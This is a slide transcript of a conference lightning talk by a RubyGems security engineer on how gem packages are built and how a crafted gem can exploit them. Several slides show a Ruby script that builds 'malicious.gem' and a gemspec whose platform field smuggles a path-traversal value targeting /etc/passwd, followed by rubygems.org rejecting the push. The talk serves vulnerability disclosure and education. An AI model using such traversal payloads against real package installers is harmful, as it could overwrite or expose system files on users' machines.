Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Building Broken Gems

Building Broken Gems

Lightning talk given at Rocky Mountain Ruby 2023

Samuel E. Giddins

October 06, 2023
Tweet

More Decks by Samuel E. Giddins

Other Decks in Technology

Transcript

  1. WHAT IS A GEM? $ gem build rails.gemspec Successfully built

    RubyGem Name: rails Version: 7.1.0.beta1 File: rails-7.1.0.beta1.gem 4 — segiddins @ Rocky Mountain Ruby 2023
  2. WHAT IS A GEM? $ file rails-7.1.0.beta1.gem rails-7.1.0.beta1.gem: POSIX tar

    archive 5 — segiddins @ Rocky Mountain Ruby 2023
  3. WHAT IS A GEM? $ tar --list -f rails-7.1.0.beta1.gem metadata.gz

    data.tar.gz checksums.yaml.gz 6 — segiddins @ Rocky Mountain Ruby 2023
  4. WHAT IS A GEM? $ tar --extract \ --file rails-7.1.0.beta1.gem

    \ -O metadata.gz | \ gunzip --- !ruby/object:Gem::Specification name: rails version: !ruby/object:Gem::Version version: 7.1.0.beta1 platform: ruby authors: - David Heinemeier Hansson autorequire: bindir: bin cert_chain: [] date: 2023-10-06 00:00:00.000000000 Z dependencies: [...] description: "..." email: [email protected] executables: [] extensions: [] extra_rdoc_files: [] files: [MIT-LICENSE, README.md] homepage: https://rubyonrails.org licenses: [MIT] metadata: { ... } rdoc_options: [] require_paths: [lib] 7 — segiddins @ Rocky Mountain Ruby 2023
  5. BUT SAMUEL... YOU SAID YOU'RE A SECURITY ENGINEER! 8 —

    segiddins @ Rocky Mountain Ruby 2023
  6. LET'S PACKAGE OUR OWN GEM #!/usr/bin/env ruby require 'rubygems' require

    'rubygems/package' require 'yaml' file_name = "malicious.gem" package = Gem::Package.new file_name File.open(file_name, "wb") do |file| Gem::Package::TarWriter.new(file) do |gem| gem.add_file "metadata.gz", 0o444 do |io| package.gzip_to(io) do |gz_io| gz_io.write "---!ruby/object:Gem::Specification\n..." end end gem.add_file "data.tar.gz", 0o444 do |io| package.gzip_to io do |gz_io| Gem::Package::TarWriter.new gz_io do |data_tar| # omitted end end end end end 10 — segiddins @ Rocky Mountain Ruby 2023
  7. ... WITH OUT OWN GEMSPEC --- !ruby/hash-with-ivars:Gem::Specification ivars: "@name": book

    "@version": "1" "@new_platform": !ruby/object:Gem::Platform os: "../../../../../../../../etc/passwd" "@original_platform": ruby "@summary": "malicious" "@authors": [[email protected]] 11 — segiddins @ Rocky Mountain Ruby 2023
  8. ... WHICH COULD BE PRETTY BAD TO INSTALL puts YAML.unsafe_load(spec).full_name

    puts File.expand_path( YAML.unsafe_load(spec).full_name, Gem::Specification.gems_dir # /Users/segiddins/.gem/ruby/3.2.2/gems/ ) book-1-../../../../../../../../etc/passwd /etc/passwd 12 — segiddins @ Rocky Mountain Ruby 2023
  9. ... AND PUSH IT TO RUBYGEMS.ORG $ gem push malicious.gem

    Pushing gem to https://rubygems.org... There was a problem saving your gem: Gem platform is invalid, The original platform ruby does not resolve the platform ../../../../../../../../etc/passwd (instead it is ruby) 13 — segiddins @ Rocky Mountain Ruby 2023
  10. @SEGIDDINS SUPPORT RUBY CENTRAL TO ALLOW ME TO KEEP FINDING

    & FIXING THESE VULNERABILITIES! 18 — segiddins @ Rocky Mountain Ruby 2023